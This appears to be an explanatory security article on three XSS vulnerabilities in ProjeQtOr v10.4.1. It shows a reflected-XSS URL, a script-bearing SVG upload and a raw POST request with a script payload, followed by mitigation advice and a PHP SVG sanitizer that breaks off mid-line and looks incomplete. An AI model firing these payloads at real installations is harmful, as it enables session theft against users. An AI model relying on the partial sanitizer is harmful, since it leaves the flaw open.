ProjeQtOr Project Management System v10.4.1 - Multiple XSS

ProjeQtOr Project Management System v10.4.1: Multiple XSS Vulnerabilities – A Deep Dive into Security Risks

ProjeQtOr, a widely used open-source project management system built on PHP, has recently come under scrutiny due to multiple cross-site scripting (XSS) vulnerabilities identified in version v10.4.1. These flaws, discovered by cybersecurity researcher Mirabbas Ağalarov on July 9, 2023, expose critical security weaknesses that could allow attackers to execute malicious scripts in the context of authenticated users’ browsers. This article examines the technical details, exploit scenarios, and broader implications of these vulnerabilities.

Understanding XSS in Web Applications

Cross-site scripting (XSS) is one of the most prevalent web application vulnerabilities. It occurs when an attacker injects malicious scripts into a web page viewed by other users. These scripts can steal session cookies, redirect users to phishing sites, or perform actions on their behalf—all without the user’s knowledge.

In the context of ProjeQtOr, XSS exploits are particularly dangerous because they target authenticated users within a trusted environment. Since the system is designed for internal project management, users often have elevated privileges, making a successful XSS attack potentially devastating.

Exploit Analysis: Multiple XSS Vulnerabilities in ProjeQtOr v10.4.1

XSS-1: Reflected XSS via refreshCronIconStatus.php

One of the most straightforward vulnerabilities lies in the refreshCronIconStatus.php endpoint, which processes the cronStatus parameter.

http://localhost/projeqtor/view/refreshCronIconStatus.php?cronStatus=miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E&csrfToken=

This URL demonstrates a reflected XSS attack. The cronStatus parameter is directly echoed in the response without proper sanitization. The payload miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E is URL-encoded and decoded as:

miri');"> <script>alert(4)</script>

When rendered, this results in a script tag being injected into the page, triggering the alert(4) JavaScript function. This demonstrates that the application fails to sanitize user input before displaying it.

Why this matters: Even if the script is benign (like an alert), it confirms that untrusted input is being rendered directly. An attacker could substitute this with malicious payloads—such as stealing CSRF tokens or redirecting users to malicious domains.

XSS-2: Stored XSS via SVG File Upload

This exploit highlights a stored XSS vulnerability, where malicious content is permanently stored in the application and later rendered to users.

Attackers can create a project, upload an SVG file containing embedded JavaScript, and then access it through the file URL.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
 <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
 <script type="text/javascript">
      alert(document.location);
   </script>
</svg>

When the SVG file is accessed via http://localhost/projeqtor/files/attach/attachment_5/malas.svg, the browser parses the XML and executes the embedded script.

Technical Insight: SVG files are inherently capable of embedding scripts, and many web applications fail to validate or sanitize SVG content before serving it. ProjeQtOr does not perform any content filtering on uploaded SVG files, allowing arbitrary JavaScript execution.

Impact: This is a high-risk vulnerability because the malicious script persists and can be triggered whenever a user views the file. If the file is shared across teams or uploaded by a trusted user, the attack surface expands significantly.

XSS-3: DOM-Based XSS via AJAX Request

A third vulnerability arises from a POST request to /projeqtor/tool/ack.php, which processes the resultAck parameter in an AJAX response.

POST /projeqtor/tool/ack.php?destinationWidth=50&destinationHeight=0&isIE=&xhrPostDestination=resultDivMain&xhrPostIsResultMessage=true&xhrPostValidationType=attachment&xhrPostTimestamp=1688898776311&csrfToken= HTTP/1.1
Host: localhost
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
...
Cookie: PHPSESSID=r5cjcsggl4j0oa9s70vchaklf3
Connection: close

resultAck=<script>alert(4)</script>

The resultAck parameter is directly inserted into the DOM via JavaScript, likely using something like innerHTML or document.write.

Why this is dangerous: DOM-based XSS occurs when the client-side JavaScript dynamically writes untrusted data into the DOM. Since the server-side response is not filtered, the script is executed immediately in the user’s browser.

Attack vector: An attacker could craft a malicious resultAck payload to steal session cookies, perform CSRF attacks, or redirect users to phishing sites—all without needing a server-side injection.

Security Implications and Risk Assessment

Vulnerability Type	Attack Vector	Impact	Exploitation Difficulty
Reflected XSS	URL parameter manipulation	Medium (script execution in context)	Low
Stored XSS	SVG file upload	High (persistent, shared content)	Medium
DOM-Based XSS	AJAX response injection	High (client-side execution)	Medium

Overall risk: ProjeQtOr v10.4.1 presents a high-risk security profile due to multiple XSS vectors. These vulnerabilities can be chained together to escalate attacks—e.g., stealing session tokens via stored XSS, then using them in DOM-based XSS to perform unauthorized actions.

Recommended Mitigation Strategies

• Input Sanitization: All user-provided parameters (e.g., cronStatus, resultAck) must be sanitized using functions like htmlspecialchars() or htmlentities() in PHP.
• Content-Type Validation: SVG files should be validated for embedded scripts. Use a whitelist of allowed SVG elements and strip <script> tags during upload processing.
• DOM Security: Avoid using innerHTML for dynamic content. Instead, use textContent or insertAdjacentHTML() with strict sanitization.
• Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and restrict script sources.
• File Upload Restrictions: Enforce file type checks and scan for malicious content using tools like libxml or DOMDocument to parse SVGs safely.

Improved Code Example: Safe SVG Handling

Here is a corrected approach to safely handling SVG uploads:

<?php
function sanitizeSVG($svgContent) {
    // Parse SVG using DOMDocument
    $dom = new DOMDocument();
    $dom->loadXML($svgContent);

    // Remove script elements
    $scripts = $dom->getElementsByTagName('script');
    foreach ($scripts as $script) {
        $script->parentNode->remove